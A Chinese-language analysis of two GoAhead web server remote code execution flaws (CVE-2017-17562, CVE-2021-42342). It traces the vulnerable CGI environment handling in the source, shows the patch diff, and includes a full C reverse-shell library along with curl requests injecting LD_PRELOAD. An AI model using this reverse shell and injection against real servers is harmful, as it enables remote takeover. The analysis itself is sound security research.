CVE-2017-17562
描述
CVE-2017-17562是一个远程命令执行漏洞,受影响的GoAhead版本为2.5.0到3.6.4之间。受影响的版本若启用了CGI并动态链接了CGI程序的话,则可导致远程代码执行。漏洞的原因在于cgi.c的cgiHandler函数使用了不可信任的HTTP请求参数初始化CGI脚本的环境,可使用环境变量(LD_PRELOAD),利用glibc动态链接器加载任意程序实现远程代码执行。
复现
恶意so
#include<stdio.h> #include<stdlib.h> #include<sys/socket.h> #include<netinet/in.h> char *server_ip="127.0.0.1"; uint32_t server_port=7777; static void reverse_shell(void) __attribute__((constructor)); static void reverse_shell(void) { //socket initialize int sock = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in attacker_addr = {0}; attacker_addr.sin_family = AF_INET; attacker_addr.sin_port = htons(server_port); attacker_addr.sin_addr.s_addr = inet_addr(server_ip); //connect to the server if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0) exit(0); //dup the socket to stdin, stdout and stderr dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); //execute /bin/sh to get a shell execve("/bin/sh", 0, 0); }
编译
gcc -shared -fPIC ./a.c -o exp.so
监听7777端口后发送请求
ayoung@ay:~$ curl -X POST --data-binary @exp.so http://127.0.0.1:8888/cgi-bin/cgitest\?LD_PRELOAD\=/proc/self/fd/0
ayoung@ay:~$ nc -lvnp 7777 Listening on 0.0.0.0 7777 Connection received on 127.0.0.1 48692 whoami root
分析
每个请求的结构体Webs定义在 goahead.h中
/** GoAhead request structure. This is a per-socket connection structure. @defgroup Webs Webs */ typedef struct Webs { WebsBuf rxbuf; /**< Raw receive buffer */ WebsBuf input; /**< Receive buffer after de-chunking */ WebsBuf output; /**< Transmit buffer after chunking */ WebsBuf chunkbuf; /**< Pre-chunking data buffer */ WebsBuf *txbuf; WebsTime since; /**< Parsed if-modified-since time */ WebsTime timestamp; /**< Last transaction with browser */ WebsHash vars; /**< CGI standard variables */ int timeout; /**< Timeout handle */ char ipaddr[ME_MAX_IP]; /**< Connecting ipaddress */ char ifaddr[ME_MAX_IP]; /**< Local interface ipaddress */ int rxChunkState; /**< Rx chunk encoding state */ ssize rxChunkSize; /**< Rx chunk size */ char *rxEndp; /**< Pointer to end of raw data in input beyond endp */ ssize lastRead; /**< Number of bytes last read from the socket */ bool eof; /**< If at the end of the request content */ char txChunkPrefix[16]; /**< Transmit chunk prefix */ char *txChunkPrefixNext; /**< Current I/O pos in txChunkPrefix */ ssize txChunkPrefixLen; /**< Length of prefix */ ssize txChunkLen; /**< Length of the chunk */ int txChunkState; /**< Transmit chunk state */ char *authDetails; /**< Http header auth details */ char *authResponse; /**< Outgoing auth header */ char *authType; /**< Authorization type (Basic/DAA) */ char *contentType; /**< Body content type */ char *cookie; /**< Request cookie string */ char *decodedQuery; /**< Decoded request query */ char *digest; /**< Password digest */ char *ext; /**< Path extension */ char *filename; /**< Document path name */ char *host; /**< Requested host */ char *method; /**< HTTP request method */ char *password; /**< Authorization password */ char *path; /**< Path name without query. This is decoded. */ char *protoVersion; /**< Protocol version (HTTP/1.1)*/ char *protocol; /**< Protocol scheme (normally http|https) */ char *putname; /**< PUT temporary filename */ char *query; /**< Request query. This is decoded. */ char *realm; /**< Realm field supplied in auth header */ char *referrer; /**< The referring page */ char *responseCookie; /**< Outgoing cookie */ char *url; /**< Full request url. This is not decoded. */ char *userAgent; /**< User agent (browser) */ char *username; /**< Authorization username */ int sid; /**< Socket id (handler) */ int listenSid; /**< Listen Socket id */ int port; /**< Request port number */ int state; /**< Current state */ int flags; /**< Current flags -- see above */ int code; /**< Response status code */ int routeCount; /**< Route count limiter */ ssize rxLen; /**< Rx content length */ ssize rxRemaining; /**< Remaining content to read from client */ ssize txLen; /**< Tx content length header value */ int wid; /**< Index into webs */ #if ME_GOAHEAD_CGI char *cgiStdin; /**< Filename for CGI program input */ int cgifd; /**< File handle for CGI program input */ #endif #if !ME_ROM int putfd; /**< File handle to write PUT data */ #endif int docfd; /**< File descriptor for document being served */ ssize written; /**< Bytes actually transferred */ ssize putLen; /**< Bytes read by a PUT request */ int finalized: 1; /**< Request has been completed */ int error: 1; /**< Request has an error */ int connError: 1; /**< Request has a connection error */ struct WebsSession *session; /**< Session record */ struct WebsRoute *route; /**< Request route */ struct WebsUser *user; /**< User auth record */ WebsWriteProc writeData; /**< Handler write I/O event callback. Used by fileHandler */ int encoded; /**< True if the password is MD5(username:realm:password) */ #if ME_GOAHEAD_DIGEST char *cnonce; /**< check nonce */ char *digestUri; /**< URI found in digest header */ char *nonce; /**< opaque-to-client string sent by server */ char *nc; /**< nonce count */ char *opaque; /**< opaque value passed from server */ char *qop; /**< quality operator */ #endif #if ME_GOAHEAD_UPLOAD int upfd; /**< Upload file handle */ WebsHash files; /**< Uploaded files */ char *boundary; /**< Mime boundary (static) */ ssize boundaryLen; /**< Boundary length */ int uploadState; /**< Current file upload state */ WebsUpload *currentFile; /**< Current file context */ char *clientFilename; /**< Current file filename */ char *uploadTmp; /**< Current temp filename for upload data */ char *uploadVar; /**< Current upload form variable name */ #endif void *ssl; /**< SSL context */ } Webs;
cgi.c中cgiHandler
先处理拼接出cgiPath
然后解析参数
再处理环境变量,即下面代码片段。只过滤了REMOTE_HOST和HTTP_AUTHORIZATION
/* Add all CGI variables to the environment strings to be passed to the spawned CGI process. This includes a few we don't already have in the symbol table, plus all those that are in the vars symbol table. envp will point to a walloc'd array of pointers. Each pointer will point to a walloc'd string containing the keyword value pair in the form keyword=value. Since we don't know ahead of time how many environment strings there will be the for loop includes logic to grow the array size via wrealloc. */ envpsize = 64; envp = walloc(envpsize * sizeof(char*)); for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) { if (s->content.valid && s->content.type == string && strcmp(s->name.value.string, "REMOTE_HOST") != 0 && strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) { envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string); trace(5, "Env[%d] %s", n, envp[n-1]); if (n >= envpsize) { envpsize *= 2; envp = wrealloc(envp, envpsize * sizeof(char *)); } } } *(envp+n) = NULL;
处理完后调用launchCgi启动cgi
/* Now launch the process. If not successful, do the cleanup of resources. If successful, the cleanup will be done after the process completes. */ if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)) == (CgiPid) -1) { ... }
GoAhead对不同架构做了最终启动命令的适配,例如windows使用CreateProcess,vmworks使用taskSpawn,unix使用execve
以unix为例,launchCgi内最终启动子进程运行execve启动cgi,结合前文能够注入环境变量
pid = vfork(); if (pid == 0) { /* Child */ ... } else if (execve(cgiPath, argp, envp) == -1) { printf("content-type: text/html\n\nExecution of cgi process failed\n"); } _exit(0); }
再回头看请求报文如何解析的,调用栈
[#0] 0x7b67396a8ef6 <cgiHandler+0x17> [#1] 0x7b67396bc3f4 <websRunRequest+0x33a> [#2] 0x7b67396aee66 <websPump+0x7e> [#3] 0x7b67396aecee <readEvent+0x176> [#4] 0x7b67396aea42 <socketEvent+0xb5> [#5] 0x7b67396c55f5 <socketDoEvent+0xd2> [#6] 0x7b67396c550d <socketProcess+0x59> [#7] 0x7b67396b087c <websServiceEvents+0x47> [#8] 0x62e0eac32a3f <main+0x5b6>
从readEvent开始看
根据Webs结构体定义rxbuf存储原始请求数据。下面代码调用websRead获取输入存储到rxbuf中
websRead内部使用sslRead或socketRead获取数据
/* The webs read handler. This is the primary read event loop. It uses a state machine to track progress while parsing the HTTP request. Note: we never block as the socket is always in non-blocking mode. */ static void readEvent(Webs *wp) { WebsBuf *rxbuf; WebsSocket *sp; ssize nbytes; ... rxbuf = &wp->rxbuf; if ((nbytes = websRead(wp, (char*) rxbuf->endp, ME_GOAHEAD_LIMIT_BUFFER)) > 0) { wp->lastRead = nbytes; bufAdjustEnd(rxbuf, nbytes); bufAddNull(rxbuf); } if (nbytes > 0 || wp->state > WEBS_BEGIN) { websPump(wp); } ... }
WebsBuf结构如下
/************************************* Ringq **********************************/ /** A WebsBuf (ring queue) allows maximum utilization of memory for data storage and is ideal for input/output buffering. @description This module provides a highly efficient implementation and a vehicle for dynamic strings. WARNING: This is a public implementation and callers have full access to the queue structure and pointers. Change this module very carefully. \n\n This module follows the open/close model. \n\n Operation of a WebsBuf where bp is a pointer to a WebsBuf : bp->buflen contains the size of the buffer. bp->buf will point to the start of the buffer. bp->servp will point to the first (un-consumed) data byte. bp->endp will point to the next free location to which new data is added bp->endbuf will point to one past the end of the buffer. \n\n Eg. If the WebsBuf contains the data "abcdef", it might look like : \n\n +-------------------------------------------------------------------+ | | | | | | | | a | b | c | d | e | f | | | | | +-------------------------------------------------------------------+ ^ ^ ^ ^ | | | | bp->buf bp->servp bp->endp bp->enduf \n\n The queue is empty when servp == endp. This means that the queue will hold at most bp->buflen -1 bytes. It is the fillers responsibility to ensure the WebsBuf is never filled such that servp == endp. \n\n It is the fillers responsibility to "wrap" the endp back to point to bp->buf when the pointer steps past the end. Correspondingly it is the consumers responsibility to "wrap" the servp when it steps to bp->endbuf. The bufPutc and bufGetc routines will do this automatically. @defgroup WebsBuf WebsBuf @stability Stable */ typedef struct WebsBuf { char *buf; /**< Holding buffer for data */ char *servp; /**< Pointer to start of data */ char *endp; /**< Pointer to end of data */ char *endbuf; /**< Pointer to end of buffer */ ssize buflen; /**< Length of ring queue */ ssize maxsize; /**< Maximum size */ int increment; /**< Growth increment */ } WebsBuf;
数据存储到wp->rxbuf中后,进入websPump函数
这是一个分步的处理函数,根据wp->state的状态来处理
wp->state一开始是WEBS_BEGIN,程序调用parseIncoming
PUBLIC void websPump(Webs *wp) { bool canProceed; for (canProceed = 1; canProceed; ) { switch (wp->state) { case WEBS_BEGIN: canProceed = parseIncoming(wp); break; case WEBS_CONTENT: canProceed = processContent(wp); break; case WEBS_READY: if (!websRunRequest(wp)) { /* Reroute if the handler re-wrote the request */ websRouteRequest(wp); wp->state = WEBS_READY; canProceed = 1; continue; } canProceed = (wp->state != WEBS_RUNNING); break; case WEBS_RUNNING: /* Nothing to do until websDone is called */ return; case WEBS_COMPLETE: canProceed = complete(wp, 1); break; } } }
parseFirstLine()函数处理请求第一行,其中会通过getToken()获取请求方法和url
然后将url传入websUrlParse处理,其中会将url里?xxxx中?之后的东西存到变量query中
static bool parseIncoming(Webs *wp) { WebsBuf *rxbuf; char *end, c; ... /* Parse the first line of the Http header */ parseFirstLine(wp); if (wp->state == WEBS_COMPLETE) { return 1; } parseHeaders(wp); if (wp->state == WEBS_COMPLETE) { return 1; } wp->state = (wp->rxChunkState || wp->rxLen > 0) ? WEBS_CONTENT : WEBS_READY; websRouteRequest(wp); if (wp->state == WEBS_COMPLETE) { return 1; } #if ME_GOAHEAD_CGI if (wp->route && wp->route->handler && wp->route->handler->service == cgiHandler) { if (smatch(wp->method, "POST")) { wp->cgiStdin = websGetCgiCommName(); if ((wp->cgifd = open(wp->cgiStdin, O_CREAT | O_WRONLY | O_BINARY | O_TRUNC, 0666)) < 0) { websError(wp, HTTP_CODE_NOT_FOUND | WEBS_CLOSE, "Cannot open CGI file"); return 1; } } } #endif #if !ME_ROM if (smatch(wp->method, "PUT")) { WebsStat sbuf; wp->code = (stat(wp->filename, &sbuf) == 0 && sbuf.st_mode & S_IFDIR) ? HTTP_CODE_NO_CONTENT : HTTP_CODE_CREATED; wfree(wp->putname); wp->putname = websTempFile(ME_GOAHEAD_PUT_DIR, "put"); if ((wp->putfd = open(wp->putname, O_BINARY | O_WRONLY | O_CREAT | O_BINARY, 0644)) < 0) { error("Cannot create PUT filename %s", wp->putname); websError(wp, HTTP_CODE_INTERNAL_SERVER_ERROR, "Cannot create the put URI"); wfree(wp->putname); return 1; } } #endif return 1; }
/* Parse the first line of a HTTP request */ static void parseFirstLine(Webs *wp) { char *op, *protoVer, *url, *host, *query, *path, *port, *ext, *buf; int listenPort; ... /* Determine the request type: GET, HEAD or POST */ op = getToken(wp, 0); if (op == NULL || *op == '\0') { websError(wp, HTTP_CODE_NOT_FOUND | WEBS_CLOSE, "Bad HTTP request"); return; } wp->method = supper(sclone(op)); url = getToken(wp, 0); if (url == NULL || *url == '\0') { websError(wp, HTTP_CODE_BAD_REQUEST | WEBS_CLOSE, "Bad HTTP request"); return; } if (strlen(url) > ME_GOAHEAD_LIMIT_URI) { websError(wp, HTTP_CODE_REQUEST_URL_TOO_LARGE | WEBS_CLOSE, "URI too big"); return; } protoVer = getToken(wp, "\r\n"); if (websGetLogLevel() == 2) { trace(2, "%s %s %s", wp->method, url, protoVer); } /* Parse the URL and store all the various URL components. websUrlParse returns an allocated buffer in buf which we must free. We support both proxied and non-proxied requests. Proxied requests will have http://host/ at the must free. We support both proxied and non-proxied requests. Proxied requests will have http://host/ at the start of the URL. Non-proxied will just be local path names. */ host = path = port = query = ext = NULL; if (websUrlParse(url, &buf, NULL, &host, &port, &path, &ext, NULL, &query) < 0) { error("Cannot parse URL: %s", url); websError(wp, HTTP_CODE_BAD_REQUEST | WEBS_CLOSE | WEBS_NOLOG, "Bad URL"); return; } ... wp->query = sclone(query); ... wfree(buf); }
/* Parse the URL. A single buffer is allocated to store the parsed URL in *pbuf. This must be freed by the caller. */ PUBLIC int websUrlParse(char *url, char **pbuf, char **pscheme, char **phost, char **pport, char **ppath, char **pext, char **preference, char **pquery) { char *tok, *delim, *host, *path, *port, *scheme, *reference, *query, *ext, *buf, *buf2; ssize buflen, ulen, len; int sep; ... /* [scheme://][hostname[:port]][/path[.ext]][#ref][?query] First trim query and then reference from the end */ if ((query = strchr(tok, '?')) != NULL) { *query++ = '\0'; } ... if (pquery) { *pquery = query; } return 0; }
处理结束便将请求中?之后的内容存储于wp->query中
并设置state为WEBS_CONTENT或WEBS_READY
(这里如果通过POST传了body上去,会根据content-length设置wp->rxLen,则会设置WEBS_CONTENT调用processContent()处理内容,如果GET不传body则设置WEBS_READY。WEBS_CONTENT最终也会设置为WEBS_READY)
// src/http.c:parseIncoming() wp->state = (wp->rxChunkState || wp->rxLen > 0) ? WEBS_CONTENT : WEBS_READY;
之后状态转换为WEBS_READY,调用websRunRequest(wp)
这里不管是websSetQueryVars还是websSetFormVars最终都会调用addFormVars(wp, data);添加变量
PUBLIC bool websRunRequest(Webs *wp) { ... if (!(wp->flags & WEBS_VARS_ADDED)) { if (wp->query && *wp->query) { websSetQueryVars(wp); } if (wp->flags & WEBS_FORM) { websSetFormVars(wp); } wp->flags |= WEBS_VARS_ADDED; } ... return (*route->handler->service)(wp); }
/* NOTE: the vars variable is modified */ static void addFormVars(Webs *wp, char *vars) { char *keyword, *value, *prior, *tok; assert(wp); assert(vars); keyword = stok(vars, "&", &tok); while (keyword != NULL) { if ((value = strchr(keyword, '=')) != NULL) { *value++ = '\0'; websDecodeUrl(keyword, keyword, strlen(keyword)); websDecodeUrl(value, value, strlen(value)); } else { value = ""; } if (*keyword) { /* If keyword has already been set, append the new value to what has been stored. */ if ((prior = websGetVar(wp, keyword, NULL)) != 0) { websSetVarFmt(wp, keyword, "%s %s", prior, value); } else { websSetVar(wp, keyword, value); } } keyword = stok(NULL, "&", &tok); } }
这里同样不管走websSetVarFmt()还是websSetVar,最终调用hashEnter(wp->vars, var, v, 0);
PUBLIC void websSetVar(Webs *wp, char *var, char *value) { WebsValue v; assert(websValid(wp)); assert(var && *var); if (value) { v = valueString(value, VALUE_ALLOCATE); } else { v = valueString("", 0); } hashEnter(wp->vars, var, v, 0); }
hashEnter()中同样分类,用hashlist管理变量
通过计算出来的hindex沿着哈希表遍历,如果for结束出来时的sp不为空,说明变量重名了,此时认为之前的资源未释放,将资源释放后再覆盖;
如果sp为空,申请内存设置变量后链入
如果哈希表对应节点为空,说明这条链还没有头节点,则申请头节点填入,再申请空间设置变量后链入
设置变量使用sp->name = valueString(name, VALUE_ALLOCATE);
/* Enter a symbol into the table. If already there, update its value. Always succeeds if memory available. We allocate a copy of "name" here so it can be a volatile variable. The value "v" is just a copy of the passed in value, so it MUST be persistent. */ WebsKey *hashEnter(WebsHash sd, char *name, WebsValue v, int arg) { HashTable *tp; WebsKey *sp, *last; char *cp; int hindex; assert(name); assert(0 <= sd && sd < symMax); tp = sym[sd]; assert(tp); /* Calculate the first daisy-chain from the hash table. If non-zero, then we have daisy-chain, so scan it and look for the symbol. */ last = NULL; hindex = hashIndex(tp, name); if ((sp = tp->hash_table[hindex]) != NULL) { for (; sp; sp = sp->forw) { cp = sp->name.value.string; if (cp[0] == name[0] && strcmp(cp, name) == 0) { break; } last = sp; } if (sp) { /* Found, so update the value If the caller stores handles which require freeing, they will be lost here. It is the callers responsibility to free resources before overwriting existing contents. We will here free allocated strings which occur due to value_instring(). We should consider providing the cleanup function on the open rather than the close and then we could call it here and solve the problem. */ if (sp->content.valid) { valueFree(&sp->content); } sp->content = v; sp->arg = arg; return sp; } /* Not found so allocate and append to the daisy-chain */ if ((sp = (WebsKey*) walloc(sizeof(WebsKey))) == 0) { return NULL; } sp->name = valueString(name, VALUE_ALLOCATE); sp->content = v; sp->forw = (WebsKey*) NULL; sp->arg = arg; sp->bucket = hindex; last->forw = sp; } else { /* Daisy chain is empty so we need to start the chain */ if ((sp = (WebsKey*) walloc(sizeof(WebsKey))) == 0) { return NULL; } tp->hash_table[hindex] = sp; tp->hash_table[hashIndex(tp, name)] = sp; sp->forw = (WebsKey*) NULL; sp->content = v; sp->arg = arg; sp->name = valueString(name, VALUE_ALLOCATE); sp->bucket = hindex; } return sp; }
这里就是最终设置一个请求变量的地方 v.value.string = value;
WebsValue valueString(char *value, int flags) { WebsValue v; memset(&v, 0x0, sizeof(v)); v.valid = 1; v.type = string; if (flags & VALUE_ALLOCATE) { v.allocated = 1; v.value.string = sclone(value); } else { v.allocated = 0; v.value.string = value; } return v; }
回看设置环境变量处,正是从哈希表中取出s->name.value.string并存储于envp环境变量中
// src/cgi.c:cgiHandler for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) { if (s->content.valid && s->content.type == string && strcmp(s->name.value.string, "REMOTE_HOST") != 0 && strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) { envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string); trace(5, "Env[%d] %s", n, envp[n-1]); if (n >= envpsize) { envpsize *= 2; envp = wrealloc(envp, envpsize * sizeof(char *)); } } }
猜测本意是通过这种方式把参数传给cgi之类的,但是忽略了可以直接劫持系统环境变量
下面再分析下报文的body部分如何处理
在前文提过的parseIncoming()函数中,POST方法中wp->cgiStdin被赋值为一个``
if (smatch(wp->method, "POST")) { wp->cgiStdin = websGetCgiCommName(); if ((wp->cgifd = open(wp->cgiStdin, O_CREAT | O_WRONLY | O_BINARY | O_TRUNC, 0666)) < 0) { websError(wp, HTTP_CODE_NOT_FOUND | WEBS_CLOSE, "Cannot open CGI file"); return 1; } }
/* Returns a pointer to an allocated qualified unique temporary file name. This filename must eventually be deleted with wfree(). */ PUBLIC char *websGetCgiCommName() { return websTempFile(NULL, "cgi"); }
这里文件名生成是有规律的,每次count++
PUBLIC char *websTempFile(char *dir, char *prefix) { static int count = 0; char sep; sep = '/'; if (!dir || *dir == '\0') { #if WINCE dir = "/Temp"; sep = '\\'; #elif ME_WIN_LIKE dir = getenv("TEMP"); sep = '\\'; #elif VXWORKS dir = "."; #else dir = "/tmp"; #endif } if (!prefix) { prefix = "tmp"; } return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++); }
状态WEBS_CONTENT时调用的processContent()函数根据不同上传类型调用不同处理函数
POST方法会走到websProcessCgiData(),其中将body内容写入前面打开的临时文件中
PUBLIC bool websProcessCgiData(Webs *wp) { ssize nbytes; nbytes = bufLen(&wp->input); trace(5, "cgi: write %d bytes to CGI program", nbytes); if (write(wp->cgifd, wp->input.servp, (int) nbytes) != nbytes) { websError(wp, HTTP_CODE_INTERNAL_SERVER_ERROR| WEBS_CLOSE, "Cannot write to CGI gateway"); } else { trace(5, "cgi: write %d bytes to CGI program", nbytes); } websConsumeInput(wp, nbytes); return 1; }
查看创建的临时文件
ayoung@ay:~/goahead$ ls /tmp/cgi-* /tmp/cgi-0.tmp /tmp/cgi-2.tmp /tmp/cgi-4.tmp ayoung@ay:~/goahead$ cat /tmp/cgi-0.tmp B=22222222
启动cgi前会判断如果前面没有赋值wp->cgiStdin这里也会赋为一个临时文件名,并且如果之前打开过文件这里会关闭fd
/* Create temporary file name(s) for the child's stdin and stdout. For POST data the stdin temp file (and name) should already exist. */ if (wp->cgiStdin == NULL) { wp->cgiStdin = websGetCgiCommName(); } stdIn = wp->cgiStdin; stdOut = websGetCgiCommName(); if (wp->cgifd >= 0) { close(wp->cgifd); wp->cgifd = -1; } /* Now launch the process. If not successful, do the cleanup of resources. If successful, the cleanup will be done after the process completes. */ if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)) == (CgiPid) -1) { websError(wp, HTTP_CODE_INTERNAL_SERVER_ERROR, "failed to spawn CGI task"); ... } else { ... }
启动cgi的时候会用临时文件重定向为cgi进程的输入输出
/* Launch the CGI process and return a handle to it. */ static CgiPid launchCgi(char *cgiPath, char **argp, char **envp, char *stdIn, char *stdOut) { int fdin, fdout, pid; ... if ((fdin = open(stdIn, O_RDWR | O_CREAT | O_BINARY, 0666)) < 0) { error("Cannot open CGI stdin: ", cgiPath); return -1; } if ((fdout = open(stdOut, O_RDWR | O_CREAT | O_TRUNC | O_BINARY, 0666)) < 0) { error("Cannot open CGI stdout: ", cgiPath); return -1; } pid = vfork(); if (pid == 0) { /* Child */ if (dup2(fdin, 0) < 0) { printf("content-type: text/html\n\nDup of stdin failed\n"); _exit(1); } else if (dup2(fdout, 1) < 0) { printf("content-type: text/html\n\nDup of stdout failed\n"); _exit(1); } else if (execve(cgiPath, argp, envp) == -1) { printf("content-type: text/html\n\nExecution of cgi process failed\n"); } _exit(0); } ... return pid; }
利用
需要知道LD_PRELOAD劫持
第一种比较朴素的方法
通过前面分析知道,post的报文内容会被存放到/tmp/cgi-*.tmp,可以先将恶意so作为post参数上传,之后再爆破文件名完成利用
第二种方法
利用/proc/self/fd/0。/proc/self/fd/0是指向自己进程的标准输入,对于cgi进程来说,由于它的标准输入被重定向到了tmp文件,所以/proc/self/fd/0也就指向其post报文的参数,从而无需爆破tmp文件名
补丁
切到v3.6.5,加了黑名单,过滤一些系统变量
git diff tags/v3.6.4 tags/v3.6.5 src/cgi.c > tmp
diff --git a/src/cgi.c b/src/cgi.c index 899ec97b..65b38556 100644 --- a/src/cgi.c +++ b/src/cgi.c @@ -62,7 +62,7 @@ PUBLIC bool cgiHandler(Webs *wp) websSetEnv(wp); /* - Extract the form name and then build the full path name. The form name will follow the first '/' in path. + Extract the form name and then build the full path name. The form name will follow the first '/' in path. */ scopy(cgiPrefix, sizeof(cgiPrefix), wp->path); if ((cgiName = strchr(&cgiPrefix[1], '/')) == NULL) { @@ -151,20 +151,32 @@ PUBLIC bool cgiHandler(Webs *wp) *(argp+n) = NULL; /* - Add all CGI variables to the environment strings to be passed to the spawned CGI process. This includes a few - we don't already have in the symbol table, plus all those that are in the vars symbol table. envp will point - to a walloc'd array of pointers. Each pointer will point to a walloc'd string containing the keyword value pair - in the form keyword=value. Since we don't know ahead of time how many environment strings there will be the for + Add all CGI variables to the environment strings to be passed to the spawned CGI process. + This includes a few we don't already have in the symbol table, plus all those that are in + the vars symbol table. envp will point to a walloc'd array of pointers. Each pointer will + point to a walloc'd string containing the keyword value pair in the form keyword=value. + Since we don't know ahead of time how many environment strings there will be the for loop includes logic to grow the array size via wrealloc. */ envpsize = 64; envp = walloc(envpsize * sizeof(char*)); for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) { - if (s->content.valid && s->content.type == string && - strcmp(s->name.value.string, "REMOTE_HOST") != 0 && - strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) { - envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string); - trace(5, "Env[%d] %s", n, envp[n-1]); + if (s->content.valid && s->content.type == string) { + if (smatch(s->name.value.string, "REMOTE_HOST") || + smatch(s->name.value.string, "HTTP_AUTHORIZATION") || + smatch(s->name.value.string, "IFS") || + smatch(s->name.value.string, "CDPATH") || + smatch(s->name.value.string, "PATH") || + sstarts(s->name.value.string, "LD_")) { + continue; + } + if (s->arg != 0 && *ME_GOAHEAD_CGI_VAR_PREFIX != '\0') { + envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_VAR_PREFIX, s->name.value.string, + s->content.value.string); + } else { + envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string); + } + trace(0, "Env[%d] %s", n, envp[n-1]); if (n >= envpsize) { envpsize *= 2; envp = wrealloc(envp, envpsize * sizeof(char *));
CVE-2021-42342
描述
近日爆出GoAhead存在RCE漏洞,漏洞源于文件上传过滤器的处理缺陷,当与CGI处理程序一起使用时,可影响环境变量,从而导致RCE。漏洞影响版本为:
GoAhead =4.x 5.x<=GoAhead<5.1.5
环境
这里有个坑,新版本goahead默认没有开启CGI配置,而老版本如果没有cgi-bin目录或里面没有cgi文件,也不受这个漏洞影响。所以影响相对没有那么广泛
这里选择v5.1.3版本搭建环境,去掉CGI相关配置注释:
diff --git a/src/route.txt b/src/route.txt index 4dda7078..18bee21f 100644 --- a/src/route.txt +++ b/src/route.txt @@ -31,7 +31,7 @@ # # Standard routes # -# route uri=/cgi-bin dir=cgi-bin handler=cgi +route uri=/cgi-bin dir=cgi-bin handler=cgi route uri=/action handler=action
cgi-bin/test内容
#!/bin/bash echo -e "Content-Type: text/plain\n" env
后续参考环境搭建
复现
注意最后还需要有一行回车,否则下面代码将报文识别为未结束
// src/upload.c:120 if ((nextTok = memchr(line, '\n', bufLen(&wp->input))) == 0) { /* Incomplete line */ canProceed = 0; break; }
POST /cgi-bin/test HTTP/1.1 Host: 192.168.130.133:8888 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-CN,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-GB;q=0.6,en-US;q=0.5 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM Content-Length: 145 ------WebKitFormBoundarylNDKbe0ngCGdEiPM Content-Disposition: form-data; name="LD_PRELOAD" test ------WebKitFormBoundarylNDKbe0ngCGdEiPM--

和PHP一样,GoAhead遇到上传表单时,会将这个上传的文件保存在一个临时目录下,待脚本程序处理完后会删掉这个临时文件
上传文件数据包
POST /cgi-bin/test HTTP/1.1 Host: 192.168.130.133:8888 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-CN,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-GB;q=0.6,en-US;q=0.5 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM Content-Length: 185 ------WebKitFormBoundarylNDKbe0ngCGdEiPM Content-Disposition: form-data; name="data"; filename="1.txt" Content-Type: text/plain ayoung ------WebKitFormBoundarylNDKbe0ngCGdEiPM--
监控系统调用
ayoung@ay:~/goahead/test$ sudo strace -p `pidof goahead` -e trace=open,openat,unlink strace: Process 118157 attached openat(AT_FDCWD, "/tmp/cgi-63.tmp", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6 openat(AT_FDCWD, "tmp/tmp-64.tmp", O_WRONLY|O_CREAT|O_TRUNC, 0600) = 7 openat(AT_FDCWD, "/tmp/cgi-63.tmp", O_RDWR|O_CREAT, 0666) = 6 openat(AT_FDCWD, "/tmp/cgi-65.tmp", O_RDWR|O_CREAT|O_TRUNC, 0666) = 7 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=119260, si_uid=0, si_status=0, si_utime=0, si_stime=0} --- openat(AT_FDCWD, "/tmp/cgi-65.tmp", O_RDONLY) = 6 unlink("/tmp/cgi-63.tmp") = 0 unlink("/tmp/cgi-65.tmp") = 0 unlink("tmp/tmp-64.tmp") = 0
想要执行上面返回包成功,还需要文件要被写入的目录可写;按照环境搭建方法搭建环境,在test目录启动,不会出现错误
使用下面命令发送payload
curl -v -F data=@exp.so -F "LD_PRELOAD=/proc/self/fd/7" http://192.168.130.133:8888/cgi-bin/test
-F 上传二进制文件
尝试不同fd,大概有三类报错:
ERROR: ld.so: object '/proc/self/fd/1' from LD_PRELOAD cannot be preloaded (invalid ELF header): ignored. ERROR: ld.so: object '/proc/self/fd/6' from LD_PRELOAD cannot be preloaded (file too short): ignored. ERROR: ld.so: object '/proc/self/fd/8' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
修改cgi-bin/test,这里我的实验环境临时文件会写入test目录下的tmp
#!/bin/bash echo -e "Content-Type: text/plain\n" ls -al /proc/self/fd/ ls -al /home/ayoung/goahead/test/tmp
返回数据包:
